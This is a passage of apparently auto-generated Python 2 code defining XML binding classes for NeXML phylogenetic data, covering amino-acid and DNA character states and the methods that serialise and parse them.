id=None, symbol=None, valueOf_=None): super(RestrictionState, self).__init__(about, meta, label, id, symbol, ) self.symbol = _cast(None, symbol) pass def factory(*args_, **kwargs_): if RestrictionState.subclass: return RestrictionState.subclass(*args_, **kwargs_) else: return RestrictionState(*args_, **kwargs_) factory = staticmethod(factory) def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_RestrictionToken(self, value): # Validate type RestrictionToken, a restriction on xs:integer. pass def export(self, outfile, level, namespace_='', name_='RestrictionState', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionState') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionState'): super(RestrictionState, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionState') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='RestrictionState', fromsubclass_=False): pass def hasContent_(self): if ( super(RestrictionState, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionState'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = %d,\n' % (self.symbol,)) super(RestrictionState, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionState, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') try: self.symbol = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) self.validate_RestrictionToken(self.symbol) # validate type RestrictionToken super(RestrictionState, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class RestrictionState class AAState(AbstractState): """This is a concrete implementation of the state element, which requires a symbol element, in this case restricted to AAToken, i.e. a single IUPAC amino acid symbol, and optional mapping elements to refer to other states.""" subclass = None superclass = AbstractState def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, valueOf_=None): super(AAState, self).__init__(about, meta, label, id, symbol, ) self.symbol = _cast(None, symbol) pass def factory(*args_, **kwargs_): if AAState.subclass: return AAState.subclass(*args_, **kwargs_) else: return AAState(*args_, **kwargs_) factory = staticmethod(factory) def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_AAToken(self, value): # Validate type AAToken, a restriction on AbstractSymbol. pass def export(self, outfile, level, namespace_='', name_='AAState', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAState') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAState'): super(AAState, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAState') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='AAState', fromsubclass_=False): pass def hasContent_(self): if ( super(AAState, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAState'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(AAState, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAState, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value self.validate_AAToken(self.symbol) # validate type AAToken super(AAState, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class AAState class AAStates(AbstractStates): """A container for a set of states.""" subclass = None superclass = AbstractStates def __init__(self, about=None, meta=None, label=None, id=None, state=None, polymorphic_state_set=None, uncertain_state_set=None, set=None, valueOf_=None): super(AAStates, self).__init__(about, meta, label, id, state, polymorphic_state_set, uncertain_state_set, set, ) if meta is None: self.meta = [] else: self.meta = meta if state is None: self.state = [] else: self.state = state if polymorphic_state_set is None: self.polymorphic_state_set = [] else: self.polymorphic_state_set = polymorphic_state_set if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AAStates.subclass: return AAStates.subclass(*args_, **kwargs_) else: return AAStates(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_state(self): return self.state def set_state(self, state): self.state = state def add_state(self, value): self.state.append(value) def insert_state(self, index, value): self.state[index] = value def get_polymorphic_state_set(self): return self.polymorphic_state_set def set_polymorphic_state_set(self, polymorphic_state_set): self.polymorphic_state_set = polymorphic_state_set def add_polymorphic_state_set(self, value): self.polymorphic_state_set.append(value) def insert_polymorphic_state_set(self, index, value): self.polymorphic_state_set[index] = value def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AAStates', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAStates') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAStates'): super(AAStates, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAStates') def exportChildren(self, outfile, level, namespace_='', name_='AAStates', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for state_ in self.state: state_.export(outfile, level, namespace_, name_='state') for polymorphic_state_set_ in self.polymorphic_state_set: polymorphic_state_set_.export(outfile, level, namespace_, name_='polymorphic_state_set') for uncertain_state_set_ in self.uncertain_state_set: uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.state or self.polymorphic_state_set or self.uncertain_state_set or self.set or super(AAStates, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAStates'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AAStates, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAStates, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('state=[\n') level += 1 for state_ in self.state: showIndent(outfile, level) outfile.write('model_.AAState(\n') state_.exportLiteral(outfile, level, name_='AAState') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('polymorphic_state_set=[\n') level += 1 for polymorphic_state_set_ in self.polymorphic_state_set: showIndent(outfile, level) outfile.write('model_.AAPolymorphicStateSet(\n') polymorphic_state_set_.exportLiteral(outfile, level, name_='AAPolymorphicStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.AAUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='AAUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.StateSet(\n') set_.exportLiteral(outfile, level, name_='StateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AAStates, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'state': obj_ = AAState.factory() obj_.build(child_) self.state.append(obj_) elif nodeName_ == 'polymorphic_state_set': obj_ = AAPolymorphicStateSet.factory() obj_.build(child_) self.polymorphic_state_set.append(obj_) elif nodeName_ == 'uncertain_state_set': obj_ = AAUncertainStateSet.factory() obj_.build(child_) self.uncertain_state_set.append(obj_) elif nodeName_ == 'set': obj_ = StateSet.factory() obj_.build(child_) self.set.append(obj_) # end class AAStates class AAChar(AbstractChar): """A concrete implementation of the AbstractChar element.""" subclass = None superclass = AbstractChar def __init__(self, about=None, meta=None, label=None, id=None, tokens=None, states=None, codon=None, valueOf_=None): super(AAChar, self).__init__(about, meta, label, id, tokens, states, codon, ) self.tokens = _cast(None, tokens) self.states = _cast(None, states) self.codon = _cast(None, codon) self.id = _cast(None, id) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if AAChar.subclass: return AAChar.subclass(*args_, **kwargs_) else: return AAChar(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_tokens(self): return self.tokens def set_tokens(self, tokens): self.tokens = tokens def validate_MSTokenLength(self, value): # Validate type MSTokenLength, a restriction on xs:positiveInteger. pass def get_states(self): return self.states def set_states(self, states): self.states = states def get_codon(self): return self.codon def set_codon(self, codon): self.codon = codon def validate_CodonPosition(self, value): # Validate type CodonPosition, a restriction on xs:nonNegativeInteger. pass def get_id(self): return self.id def set_id(self, id): self.id = id def export(self, outfile, level, namespace_='', name_='AAChar', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAChar') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAChar'): super(AAChar, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAChar') if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') outfile.write(' tokens=%s' % (quote_attrib(self.tokens), )) if self.states is not None and 'states' not in already_processed: already_processed.append('states') outfile.write(' states=%s' % (self.gds_format_string(quote_attrib(self.states).encode(ExternalEncoding), input_name='states'), )) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') outfile.write(' codon=%s' % (quote_attrib(self.codon), )) if self.id is not None and 'id' not in already_processed: already_processed.append('id') outfile.write(' id=%s' % (self.gds_format_string(quote_attrib(self.id).encode(ExternalEncoding), input_name='id'), )) def exportChildren(self, outfile, level, namespace_='', name_='AAChar', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(AAChar, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAChar'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') showIndent(outfile, level) outfile.write('tokens = %d,\n' % (self.tokens,)) if self.states is not None and 'states' not in already_processed: already_processed.append('states') showIndent(outfile, level) outfile.write('states = "%s",\n' % (self.states,)) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') showIndent(outfile, level) outfile.write('codon = %d,\n' % (self.codon,)) if self.id is not None and 'id' not in already_processed: already_processed.append('id') showIndent(outfile, level) outfile.write('id = "%s",\n' % (self.id,)) super(AAChar, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAChar, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('tokens', node) if value is not None and 'tokens' not in already_processed: already_processed.append('tokens') try: self.tokens = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.tokens <= 0: raise_parse_error(node, 'Invalid PositiveInteger') self.validate_MSTokenLength(self.tokens) # validate type MSTokenLength value = find_attr_value_('states', node) if value is not None and 'states' not in already_processed: already_processed.append('states') self.states = value value = find_attr_value_('codon', node) if value is not None and 'codon' not in already_processed: already_processed.append('codon') try: self.codon = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.codon < 0: raise_parse_error(node, 'Invalid NonNegativeInteger') self.validate_CodonPosition(self.codon) # validate type CodonPosition value = find_attr_value_('id', node) if value is not None and 'id' not in already_processed: already_processed.append('id') self.id = value super(AAChar, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class AAChar class DNAChar(AbstractChar): """A concrete implementation of the AbstractChar element.""" subclass = None superclass = AbstractChar def __init__(self, about=None, meta=None, label=None, id=None, tokens=None, states=None, codon=None, valueOf_=None): super(DNAChar, self).__init__(about, meta, label, id, tokens, states, codon, ) self.tokens = _cast(None, tokens) self.states = _cast(None, states) self.codon = _cast(None, codon) self.id = _cast(None, id) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if DNAChar.subclass: return DNAChar.subclass(*args_, **kwargs_) else: return DNAChar(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_tokens(self): return self.tokens def set_tokens(self, tokens): self.tokens = tokens def validate_MSTokenLength(self, value): # Validate type MSTokenLength, a restriction on xs:positiveInteger. pass def get_states(self): return self.states def set_states(self, states): self.states = states def get_codon(self): return self.codon def set_codon(self, codon): self.codon = codon def validate_CodonPosition(self, value): # Validate type CodonPosition, a restriction on xs:nonNegativeInteger. pass def get_id(self): return self.id def set_id(self, id): self.id = id def export(self, outfile, level, namespace_='', name_='DNAChar', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAChar') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAChar'): super(DNAChar, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAChar') if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') outfile.write(' tokens=%s' % (quote_attrib(self.tokens), )) if self.states is not None and 'states' not in already_processed: already_processed.append('states') outfile.write(' states=%s' % (self.gds_format_string(quote_attrib(self.states).encode(ExternalEncoding), input_name='states'), )) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') outfile.write(' codon=%s' % (quote_attrib(self.codon), )) if self.id is not None and 'id' not in already_processed: already_processed.append('id') outfile.write(' id=%s' % (self.gds_format_string(quote_attrib(self.id).encode(ExternalEncoding), input_name='id'), )) def exportChildren(self, outfile, level, namespace_='', name_='DNAChar', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(DNAChar, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAChar'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') showIndent(outfile, level) outfile.write('tokens = %d,\n' % (self.tokens,)) if self.states is not None and 'states' not in already_processed: already_processed.append('states') showIndent(outfile, level) outfile.write('states = "%s",\n' % (self.states,)) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') showIndent(outfile, level) outfile.write('codon = %d,\n' % (self.codon,)) if self.id is not None and 'id' not in already_processed: already_processed.append('id') showIndent(outfile, level) outfile.write('id = "%s",\n' % (self.id,)) super(DNAChar, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAChar, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('tokens', node) if value is not None and 'tokens' not in already_processed: already_processed.append('tokens') try: self.tokens = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.tokens <= 0: raise_parse_error(node, 'Invalid PositiveInteger') self.validate_MSTokenLength(self.tokens) # validate type MSTokenLength value = find_attr_value_('states', node) if value is not None and 'states' not in already_processed: already_processed.append('states') self.states = value value = find_attr_value_('codon', node) if value is not None and 'codon' not in already_processed: already_processed.append('codon') try: self.codon = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.codon < 0: raise_parse_error(node, 'Invalid NonNegativeInteger') self.validate_CodonPosition(self.codon) # validate type CodonPosition value = find_attr_value_('id', node) if value is not None and 'id' not in already_processed: already_processed.append('id') self.id = value super(DNAChar, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class DNAChar class DNAStates(AbstractStates): """A container for a set of states.""" subclass = None superclass = AbstractStates def __init__(self, about=None, meta=None, label=None, id=None, state=None, polymorphic_state_set=None, uncertain_state_set=None, set=None, valueOf_=None): super(DNAStates, self).__init__(about, meta, label, id, state, polymorphic_state_set, uncertain_state_set, set, ) if meta is None: self.meta = [] else: self.meta = meta if state is None: self.state = [] else: self.state = state if polymorphic_state_set is None: self.polymorphic_state_set = [] else: self.polymorphic_state_set = polymorphic_state_set if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if DNAStates.subclass: return DNAStates.subclass(*args_, **kwargs_) else: return DNAStates(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_state(self): return self.state def set_state(self, state): self.state = state def add_state(self, value): self.state.append(value) def insert_state(self, index, value): self.state[index] = value def get_polymorphic_state_set(self): return self.polymorphic_state_set def set_polymorphic_state_set(self, polymorphic_state_set): self.polymorphic_state_set = polymorphic_state_set def add_polymorphic_state_set(self, value): self.polymorphic_state_set.append(value) def insert_polymorphic_state_set(self, index, value): self.polymorphic_state_set[index] = value def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='DNAStates', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAStates') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAStates'): super(DNAStates, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAStates') def exportChildren(self, outfile, level, namespace_='', name_='DNAStates', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for state_ in self.state: state_.export(outfile, level, namespace_, name_='state') for polymorphic_state_set_ in self.polymorphic_state_set: polymorphic_state_set_.export(outfile, level, namespace_, name_='polymorphic_state_set') for uncertain_state_set_ in self.uncertain_state_set: uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.state or self.polymorphic_state_set or self.uncertain_state_set or self.set or super(DNAStates, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAStates'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(DNAStates, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAStates, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('state=[\n') level += 1 for state_ in self.state: showIndent(outfile, level) outfile.write('model_.DNAState(\n') state_.exportLiteral(outfile, level, name_='DNAState') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('polymorphic_state_set=[\n') level += 1 for polymorphic_state_set_ in self.polymorphic_state_set: showIndent(outfile, level) outfile.write('model_.DNAPolymorphicStateSet(\n') polymorphic_state_set_.exportLiteral(outfile, level, name_='DNAPolymorphicStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.DNAUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='DNAUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.StateSet(\n') set_.exportLiteral(outfile, level, name_='StateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(DNAStates, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'state': obj_ = DNAState.factory() obj_.build(child_) self.state.append(obj_) elif nodeName_ == 'polymorphic_state_set': obj_ = DNAPolymorphicStateSet.factory() obj_.build(child_) self.polymorphic_state_set.append(obj_) elif nodeName_ == 'uncertain_state_set': obj_ = DNAUncertainStateSet.factory() obj_.build(child_) self.uncertain_state_set.append(obj_) elif nodeName_ == 'set': obj_ = StateSet.factory() obj_.build(child_) self.set.append(obj_) # end class DNAStates class DNAState(AbstractState): """This is a concrete implementation of the state element, which requires a symbol element, in this case restricted to DNAToken, i.e. a single IUPAC nucleotide symbol, and optional mapping elements to refer to other states.""" subclass = None superclass = AbstractState def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, valueOf_=None): super(DNAState, self).__init__(about, meta, label, id, symbol, ) self.symbol = _cast(None, symbol) pass def factory(*args_, **kwargs_): if DNAState.subclass: return DNAState.subclass(*args_, **kwargs_) else: return DNAState(*args_, **kwargs_) factory = staticmethod(factory) def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_DNAToken(self, value): # Validate type DNAToken, a restriction on AbstractSymbol. pass def export(self, outfile, level, namespace_='', name_='DNAState', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAState') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAState'): super(DNAState, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAState') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='DNAState', fromsubclass_=False): pass def hasContent_(self): if ( super(DNAState, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAState'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(DNAState, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAState, 